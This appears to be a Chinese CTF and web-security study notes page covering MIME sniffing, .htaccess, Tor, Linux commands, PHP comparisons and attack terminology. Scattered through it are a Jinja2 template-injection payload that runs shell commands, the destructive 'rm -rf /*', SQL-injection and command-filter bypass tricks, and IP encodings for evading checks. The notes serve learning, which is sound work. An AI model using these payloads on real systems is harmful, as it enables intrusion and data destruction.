0%

一些小知识

MIME是什么?

MIME意为多功能Internet邮件扩展,它设计的最初目的是为了在发送电子邮件时附加多媒体数据,让邮件客户程序能根据其类型进行处理。

文件后缀名在网页上并没有明确的意义。 因此,使服务器设置正确的传输类型非常重要,所以正确的MIME类型与每个文件一同传输给服务器。在网络资源进行连接时,浏览器经常使用MIME类型来决定执行何种默认行为。

是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。

MIME嗅探

在缺失 MIME 类型或客户端认为文件设置了错误的 MIME 类型时,浏览器可能会通过查看资源来进行MIME嗅探。每一个浏览器在不同的情况下会执行不同的操作。因为这个操作会有一些安全问题,有的 MIME 类型表示可执行内容而有些是不可执行内容。浏览器可以通过请求头 Content-Type 来设置 X-Content-Type-Options 以阻止MIME嗅探。

robots协议?

robots协议也叫robots.txt(统一小写)是一种存放于网站根目录下的ASCII编码的文本文件,它通常告诉网络搜索引擎的漫游器(又称网络蜘蛛),此网站中的哪些内容是不应被搜索引擎的漫游器获取的,哪些是可以被漫游器获取的。因为一些系统中的URL是大小写敏感的,所以robots.txt的文件名应统一为小写robots.txt应放置于网站的根目录下。

robots协议并不是一个规范,而只是约定俗成的,所以并不能保证网站的隐私。

后缀为.phps的文件是什么?

phps文件是php的源代码文件,通常用于提供给用户(访问者)查看php代码,因为用户无法直接通过Web浏览器看到php文件的内容,所以需要用phps文件代替。(其实,只要不用php等已经在服务器中注册过的MIME类型为文件即可,但为了国际通用,所以才用了phps文件类型。)

但并不是所有php文件都有.phps后缀文件

.htaccess文件是什么?

.htaccess是一个配置文件(纯文本文件),里面存放着Apache服务器配置相关的一些指令,它类似于Apache的站点配置文件,如httpd.confApache2已经支持多站点,因此你的站点配置文件可能在/etc/apache2/conf.d/目录下)。

.htaccesshttpd.conf配置文件不同的是,它只作用于当前目录。另外httpd.conf是在Apache服务启动的时候就加载的,而.htaccess只有在用户访问目录时加载,开销大、速度慢。

既然如此,为什么我们还要用.htaccess呢?因为它配置起来简单,它还支持网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能,另外它管理起来很方便,可以很好适应网站迁移。

Tor浏览器

一款是你匿名访问网络的的软件。用户通过Tor可以在因特网上进行匿名交流。(基于火狐浏览器的浏览器),后缀为onion的网站需要用此浏览器访问。

为了实现匿名目的,Tor把分散在全球的计算机集合起来形成一个加密回路。当你通过Tor网络访问互联网时,你的网络数据会通过多台电脑迂回发送,就像洋葱包裹其核心那样掩饰你的网络活动,信息传输在每一步都被加密,无从得知你所处位置和信息传输目的地。因此Tor Browser也被称为洋葱浏览器。

移位计算的一个特殊值

125<<3 = 1000

0111 1101 << 后为 0011 1110 1000 的十进制为1000

同理8000>>3 =1000

HEX 3E8
DEC 1,000
OCT 1750
BIN 0011 1110 1000

删库跑路 rm -rf /*

rm 命令可以删除一个目录中的一个或多个文件或目录,也可以将某个目录及其下属的所有文件及其子目录均删除掉

命令 作用
-f 强制删除文件或目录
-i 删除已有文件或目录之前先询问用户
-r 递归处理, 将指定目录下的所有文件与子目录一并处理
/ 在Linux中表示根目录
* 所有文件
/* 根目录下的所有文件

mv命令是用来移动文件或者将文件改名,备份文件或者目录。

Linux系统中的反引号

linux中反引号的作用就是将反引号内的Linux命令先执行,然后将执行结果赋予变量。
比如 cat \ls` 相当于将 ls出来的结果cat`。

jsfuck

jsfuck源于一门编程语言brainfuck,其主要的思想就是只使用8种特定的符号来编写代码。而jsfuck也是沿用了这个思想,它仅仅使用6种符号来编写代码。它们分别是(、)、+、[、]、!。(用6个字符输出任意JavaScript)

sha1碰撞

这两个值ab值不同但是sha1值相同

1
a=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1
1
b=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1

127.0.0.1的各种进制,一般利用十进制绕过

1
2
3
4
127.0.0.1:
八进制:0177.0.0.1
十六进制:0x7f.0.0.1
十进制:2130706433

ssit官方漏洞利用

1
2
3
4
5
6
7
8
9
10
11
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }} //poppen的参数就是要执行的命令
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

Linux能打开文件的命令

  • cat 由第一行开始显示内容,并将所有内容输出

  • tac 从最后一行倒序显示内容,并将所有内容输出

  • more 根据窗口大小,一页一页的显示文件内容

  • lessmore相似,但其优点可以往前翻页,并且进行可以搜索字符(使用q或者ctrl+z退出,j下一行,k上一行)

  • head 只显示头几行

  • tail 只显示最后几行

  • nl 类似于cat -n,显示时输出行号

  • tailf 类似于tail -f

  • sed 使用sed -n 'p' 1.txt来打开文件,如果使用sed 'p' 1.txt每一行会输出两次

  • sort 将文件进行排序,并将排序结果标准输出

  • uniq 用于报告会忽略文件中的重复行

  • rev 将文件中的每行内容以字符为单位反序输出

  • cut 使用cut -c 1- 1.txt 打卡文件 1-是用于指定起始位置和结束位置的,单写一个表示切割那个位置上的数并输出(从1开始),这里的1-表示,从1开始到末尾

  • awk 文本和数据进行处理的编程语言,使用awk '{print}' 1.txt打卡文件

  • stings 在对象文件或二进制文件中查找可打印的字符串(可用于打卡.c后缀的文件)

  • od 输出文件的八进制,十六进制等格式编码的字节,使用od -c 1.txt打开文件

  • paste 用于将多个文件按照队列进行合并。可用于读取文件

  • diff 比较给定两个文件的不同,可用于读取数据diff 1.txt 2.txt

  • curl 使用file:///xxx/xxx.txt可读取文件

  • bzmore 查看bzip2压缩过的文本文件的内容

  • bzless 是增强.bz2压缩包查看器,bzlessbzmore命令功能更强大

两个==和三个===的区别

  • == 两边值类型不同的时候,要先进行类型转换,再比较。

    所以在==双等号的比较中以0e开头的都会转化成科学计数法。而科学计数法中0乘任何数都是0。

  • === 不做类型转换,类型不同的一定不等。

0day

网络安全意思上的0day就是指一些没有公布补丁的漏洞,或者是还没有被漏洞发现者公布出来的漏洞利用工具,由于这种漏洞的利用程序对网络安全都具有巨大威胁,因此0day也成为黑客的最爱。

sql语句中and和or的优先级

例如:

1
select * from users where username='admin' or '1'='1' and password='1';

这里and的优先级高于or,所以是先判断'1'='1'password='1'为假,但admin为真,所以整体为真。

什么是分布式

分布式是指通过网络连接的多个组件,通过交换信息协作而形成的系统。分布式不一定就是不同的组件,同一个组件也可以,关键在于是否通过交换信息的方式进行协作。

集群,是指同一种组件的多个实例,形成的逻辑上的整体。分布式系统也可以是一个集群。

什么是IIS

IIS全称是互联网信息服务,是一种Web(网页)服务组件,其中包括Web服务器、FTP服务器、NNTP服务器和SMTP服务器,分别用于网页浏览、文件传输、新闻服务和邮件发送等方面,它使得在网络(包括互联网和局域网)上发布信息成了一件很容易的事。

管道符

系统支持的管道符如下(Linuxwindows一样):

  1. ;:执行完前面的语句再执行后面的语句。
  2. |:显示后面语句的执行结果。
  3. ||:当前面的语句执行出错时,执行后面的语句。
  4. &:两条命令都执行,如果前面的语句为假则执行执行后面的语句,前面的语句可真可假。
  5. &&:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。
  • 禁用了;|&可以使用换行符的url编码(%0a)来绕过(相当于直接执行下一题命令)。

  • 禁用空格(%20)可以使用制表符(tab)的url编码%09来绕过。

  • 禁用了/可以先用cd进入文件。

Exp、PoC、Webshell和payload的区分

PoC(全称: Proof of Concept): 一般是我们对于漏洞的判断,即目标系统是否存在漏洞

Exp(全称: Exploit,漏洞利用程序): 对已知或已发现的漏洞进行利用

payload(意为“攻击载荷”): 攻击载荷是我们期望目标系统在被渗透攻击之后去执行的代码

Webshell就是一个脚本,是以asp、php、jsp或者cgi等网页文件形式存在的,可以对web服务器进行操作的权限。